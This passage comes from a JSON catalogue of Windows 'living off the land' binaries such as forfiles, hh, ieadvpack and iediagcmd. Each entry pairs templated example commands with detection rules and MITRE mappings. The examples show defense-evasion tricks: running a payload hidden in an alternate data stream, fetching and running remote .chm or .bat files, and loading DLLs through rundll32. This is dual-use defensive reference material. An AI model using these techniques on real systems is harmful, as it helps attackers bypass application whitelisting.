      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Execute C# code located in the specified folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies) (Local execution of C# project stored in consoleapp folder.)",
        "command": "dnx.exe {PATH_ABSOLUTE:folder}"
      }
    ],
    "execution": {
      "template": "dnx",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-dnx",
    "install": [
      {
        "method": "choco",
        "package_name": "dnx",
        "commands": [
          "choco install dnx"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "dnx",
    "namespace": "windows:execution:dnx",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dxcap\n\ndxcap is a Windows LOLBin. DirectX diagnostics/debugger included with Visual Studio. Located at: C:\\Windows\\System32\\dxcap.exe; C:\\Windows\\SysWOW64\\dxcap.exe.\n",
    "_source": "dxcap.md",
    "allowed-tools": [
      "dxcap"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DirectX diagnostics/debugger included with Visual Studio. Located at: C:\\Windows\\System32\\dxcap.exe; C:\\Windows\\SysWOW64\\dxcap.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml"
      },
      {
        "type": "ioc",
        "description": "dxcap.exe executing from outside of System32/SysWOW64"
      },
      {
        "type": "ioc",
        "description": "dxcap.exe spawning Xperf.exe"
      },
      {
        "type": "ioc",
        "description": "Xperf.exe executing from unusual directories (if not running from ADK path)"
      }
    ],
    "examples": [
      {
        "description": "Launch specified executable as a subprocess of dxcap.exe. Note that you should have write permissions in the current working directory for the command to succeed; alternatively, add '-file c:\\path\\to\\writable\\location.ext' as first argument. (Local execution of a process as a subprocess of dxcap.exe)",
        "command": "Dxcap.exe -c {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Once executed, `dxcap.exe` will execute `xperf.exe` in the same folder. Thus, if `dxcap.exe` is copied to a folder and an arbitrary executable is renamed to `xperf.exe`, `dxcap.exe` will spawn it. (Execute an arbitrary executable via trusted system executable.)",
        "command": "dxcap.exe -usage"
      }
    ],
    "execution": {
      "template": "dxcap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-dxcap",
    "install": [
      {
        "method": "choco",
        "package_name": "dxcap",
        "commands": [
          "choco install dxcap"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "dxcap",
    "namespace": "windows:execution:dxcap",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "992008180904419328",
        "url": "https://twitter.com/harr0ey/status/992008180904419328"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# explorer\n\nexplorer is a Windows LOLBin. Binary used for managing files and system components within Windows Located at: C:\\Windows\\explorer.exe; C:\\Windows\\SysWOW64\\explorer.exe.\n",
    "_source": "explorer.md",
    "allowed-tools": [
      "explorer"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jai Minton",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary used for managing files and system components within Windows Located at: C:\\Windows\\explorer.exe; C:\\Windows\\SysWOW64\\explorer.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_explorer_lolbin_execution.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/f2bc0c685d83db7db395fc3dc4b9729759cd4329/rules/windows/initial_access_via_explorer_suspicious_child_parent_args.toml"
      },
      {
        "type": "ioc",
        "description": "Multiple instances of explorer.exe or explorer.exe using the /root command line is suspicious."
      }
    ],
    "examples": [
      {
        "description": "Execute specified .exe with the parent process spawning from a new instance of explorer.exe (Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.)",
        "command": "explorer.exe /root,\"{PATH_ABSOLUTE:.exe}\""
      },
      {
        "description": "Execute notepad.exe with the parent process spawning from a new instance of explorer.exe (Performs execution of specified file with explorer parent process breaking the process tree, can be used for defense evasion.)",
        "command": "explorer.exe {PATH_ABSOLUTE:.exe}"
      }
    ],
    "execution": {
      "template": "explorer",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-explorer",
    "install": [
      {
        "method": "choco",
        "package_name": "explorer",
        "commands": [
          "choco install explorer"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "explorer",
    "namespace": "windows:execution:explorer",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1273597319322058752?s=20",
        "url": "https://twitter.com/CyberRaiju/status/1273597319322058752?s=20"
      },
      {
        "label": "1276356245541335048",
        "url": "https://twitter.com/bohops/status/1276356245541335048"
      },
      {
        "label": "986984122563391488",
        "url": "https://twitter.com/bohops/status/986984122563391488"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# extexport\n\nextexport is a Windows LOLBin. Load a DLL located in the c:\\test folder with a specific name. Located at: C:\\Program Files\\Internet Explorer\\Extexport.exe; C:\\Program Files (x86)\\Internet Explorer\\Extexport.exe.\n",
    "_source": "extexport.md",
    "allowed-tools": [
      "extexport"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Load a DLL located in the c:\\test folder with a specific name. Located at: C:\\Program Files\\Internet Explorer\\Extexport.exe; C:\\Program Files (x86)\\Internet Explorer\\Extexport.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml"
      },
      {
        "type": "ioc",
        "description": "Extexport.exe loads dll and is execute from other folder the original path"
      }
    ],
    "examples": [
      {
        "description": "Load a DLL located in the specified folder with one of the following names mozcrt19.dll, mozsqlite3.dll, or sqlite.dll. (Execute dll file)",
        "command": "Extexport.exe {PATH_ABSOLUTE:folder} foo bar"
      }
    ],
    "execution": {
      "template": "extexport",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-extexport",
    "install": [
      {
        "method": "choco",
        "package_name": "extexport",
        "commands": [
          "choco install extexport"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "extexport",
    "namespace": "windows:execution:extexport",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# forfiles\n\nforfiles is a Windows LOLBin. Selects and executes a command on a file or set of files. This command is useful for batch processing. Located at: C:\\Windows\\System32\\forfiles.exe; C:\\Windows\\SysWOW64\\forfiles.exe.\n",
    "_source": "forfiles.md",
    "allowed-tools": [
      "forfiles"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Selects and executes a command on a file or set of files. This command is useful for batch processing. Located at: C:\\Windows\\System32\\forfiles.exe; C:\\Windows\\SysWOW64\\forfiles.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes specified command since there is a match for notepad.exe in the c:\\windows\\System32 folder. (Use forfiles to start a new process to evade defensive counter measures)",
        "command": "forfiles /p c:\\windows\\system32 /m notepad.exe /c \"{CMD}\""
      },
      {
        "description": "Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\\windows\\system32 folder. (Use forfiles to start a new process from a binary hidden in an alternate data stream)",
        "command": "forfiles /p c:\\windows\\system32 /m notepad.exe /c \"{PATH_ABSOLUTE}:evil.exe\""
      }
    ],
    "execution": {
      "template": "forfiles",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "batch",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-forfiles",
    "install": [
      {
        "method": "choco",
        "package_name": "forfiles",
        "commands": [
          "choco install forfiles"
        ]
      }
    ],
    "mitre_ids": [
      "T1202",
      "T1564.004"
    ],
    "name": "forfiles",
    "namespace": "windows:execution:forfiles",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "896049052642533376",
        "url": "https://twitter.com/vector_sec/status/896049052642533376"
      },
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# gpscript\n\ngpscript is a Windows LOLBin. Used by group policy to process scripts Located at: C:\\Windows\\System32\\gpscript.exe; C:\\Windows\\SysWOW64\\gpscript.exe.\n",
    "_source": "gpscript.md",
    "allowed-tools": [
      "gpscript"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by group policy to process scripts Located at: C:\\Windows\\System32\\gpscript.exe; C:\\Windows\\SysWOW64\\gpscript.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml"
      },
      {
        "type": "ioc",
        "description": "Scripts added in local group policy"
      },
      {
        "type": "ioc",
        "description": "Execution of Gpscript.exe after logon"
      }
    ],
    "examples": [
      {
        "description": "Executes logon scripts configured in Group Policy. (Add local group policy logon script to execute file and hide from defensive counter measures)",
        "command": "Gpscript /logon"
      },
      {
        "description": "Executes startup scripts configured in Group Policy (Add local group policy logon script to execute file and hide from defensive counter measures)",
        "command": "Gpscript /startup"
      }
    ],
    "execution": {
      "template": "gpscript",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-gpscript",
    "install": [
      {
        "method": "choco",
        "package_name": "gpscript",
        "commands": [
          "choco install gpscript"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "gpscript",
    "namespace": "windows:execution:gpscript",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# hh\n\nhh is a Windows LOLBin. Binary used for processing chm files in Windows Located at: C:\\Windows\\hh.exe; C:\\Windows\\SysWOW64\\hh.exe.\n",
    "_source": "hh.md",
    "allowed-tools": [
      "hh"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary used for processing chm files in Windows Located at: C:\\Windows\\hh.exe; C:\\Windows\\SysWOW64\\hh.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml"
      }
    ],
    "examples": [
      {
        "description": "Open the target batch script with HTML Help. (Download files from url)",
        "command": "HH.exe {REMOTEURL:.bat}"
      },
      {
        "description": "Executes specified executable with HTML Help. (Execute process with HH.exe)",
        "command": "HH.exe {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Executes a remote .chm file which can contain commands. (Execute commands with HH.exe)",
        "command": "HH.exe {REMOTEURL:.chm}"
      }
    ],
    "execution": {
      "template": "hh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-hh",
    "install": [
      {
        "method": "choco",
        "package_name": "hh",
        "commands": [
          "choco install hh"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1218.001"
    ],
    "name": "hh",
    "namespace": "windows:execution:hh",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ie4uinit\n\nie4uinit is a Windows LOLBin. Executes commands from a specially prepared ie4uinit.inf file. Located at: c:\\windows\\system32\\ie4uinit.exe; c:\\windows\\sysWOW64\\ie4uinit.exe; c:\\windows\\system32\\ieuinit.inf.\n",
    "_source": "ie4uinit.md",
    "allowed-tools": [
      "ie4uinit"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Executes commands from a specially prepared ie4uinit.inf file. Located at: c:\\windows\\system32\\ie4uinit.exe; c:\\windows\\sysWOW64\\ie4uinit.exe; c:\\windows\\system32\\ieuinit.inf.",
    "detections": [
      {
        "type": "ioc",
        "description": "ie4uinit.exe copied outside of %windir%"
      },
      {
        "type": "ioc",
        "description": "ie4uinit.exe loading an inf file (ieuinit.inf) from outside %windir%"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes commands from a specially prepared ie4uinit.inf file. (Get code execution by copy files to another location)",
        "command": "ie4uinit.exe -BaseSettings"
      }
    ],
    "execution": {
      "template": "ie4uinit",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-ie4uinit",
    "install": [
      {
        "method": "choco",
        "package_name": "ie4uinit",
        "commands": [
          "choco install ie4uinit"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "ie4uinit",
    "namespace": "windows:execution:ie4uinit",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ieadvpack\n\nieadvpack is a Windows LOLBin. INF installer for Internet Explorer. Has much of the same functionality as advpack.dll. Located at: c:\\windows\\system32\\ieadvpack.dll; c:\\windows\\syswow64\\ieadvpack.dll.\n",
    "_source": "ieadvpack.md",
    "allowed-tools": [
      "ieadvpack"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "INF installer for Internet Explorer. Has much of the same functionality as advpack.dll. Located at: c:\\windows\\system32\\ieadvpack.dll; c:\\windows\\syswow64\\ieadvpack.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___advpack.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified). (Run local or remote script(let) code through INF file specification.)",
        "command": "rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,"
      },
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied). (Run local or remote script(let) code through INF file specification.)",
        "command": "rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,"
      },
      {
        "description": "Launch a DLL payload by calling the RegisterOCX function. (Load a DLL payload.)",
        "command": "rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}"
      },
      {
        "description": "Launch an executable by calling the RegisterOCX function. (Run an executable payload.)",
        "command": "rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}"
      },
      {
        "description": "Launch command line by calling the RegisterOCX function. (Run an executable payload.)",
        "command": "rundll32 ieadvpack.dll, RegisterOCX {CMD}"
      }
    ],
    "execution": {
      "template": "ieadvpack",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-ieadvpack",
    "install": [
      {
        "method": "choco",
        "package_name": "ieadvpack",
        "commands": [
          "choco install ieadvpack"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "ieadvpack",
    "namespace": "windows:execution:ieadvpack",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/"
      },
      {
        "label": "991695411902599168",
        "url": "https://twitter.com/pabraeken/status/991695411902599168"
      },
      {
        "label": "974472392012689408",
        "url": "https://twitter.com/0rbz_/status/974472392012689408"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# iediagcmd\n\niediagcmd is a Windows LOLBin. Diagnostics Utility for Internet Explorer Located at: C:\\Program Files\\Internet Explorer\\iediagcmd.exe.\n",
    "_source": "iediagcmd.md",
    "allowed-tools": [
      "iediagcmd"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "manasmbellani",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Diagnostics Utility for Internet Explorer Located at: C:\\Program Files\\Internet Explorer\\iediagcmd.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/manasmbellani/mycode_public/blob/master/sigma/rules/win_proc_creation_lolbin_iediagcmd.yml"
      },
      {
        "type": "ioc",
        "description": "Sysmon Event ID 1"
      },
      {
        "type": "ioc",
        "description": "Execution of process iediagcmd.exe with /out could be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Executes binary that is pre-planted at C:\\test\\system32\\netsh.exe. (Spawn a pre-planted executable from iediagcmd.exe.)",
        "command": "set windir=c:\\test& cd \"C:\\Program Files\\Internet Explorer\\\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}"
      }
    ],
    "execution": {
      "template": "iediagcmd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-iediagcmd",
    "install": [
      {
        "method": "choco",
        "package_name": "iediagcmd",
        "commands": [
          "choco install iediagcmd"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "iediagcmd",
    "namespace": "windows:execution:iediagcmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1507516393859731456",
        "url": "https://twitter.com/Hexacorn/status/1507516393859731456"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ieexec\n\nieexec is a Windows LOLBin. The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe.\n",
    "_source": "ieexec.md",
    "allowed-tools": [
      "ieexec"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml"
      },
      {
        "type": "elastic",
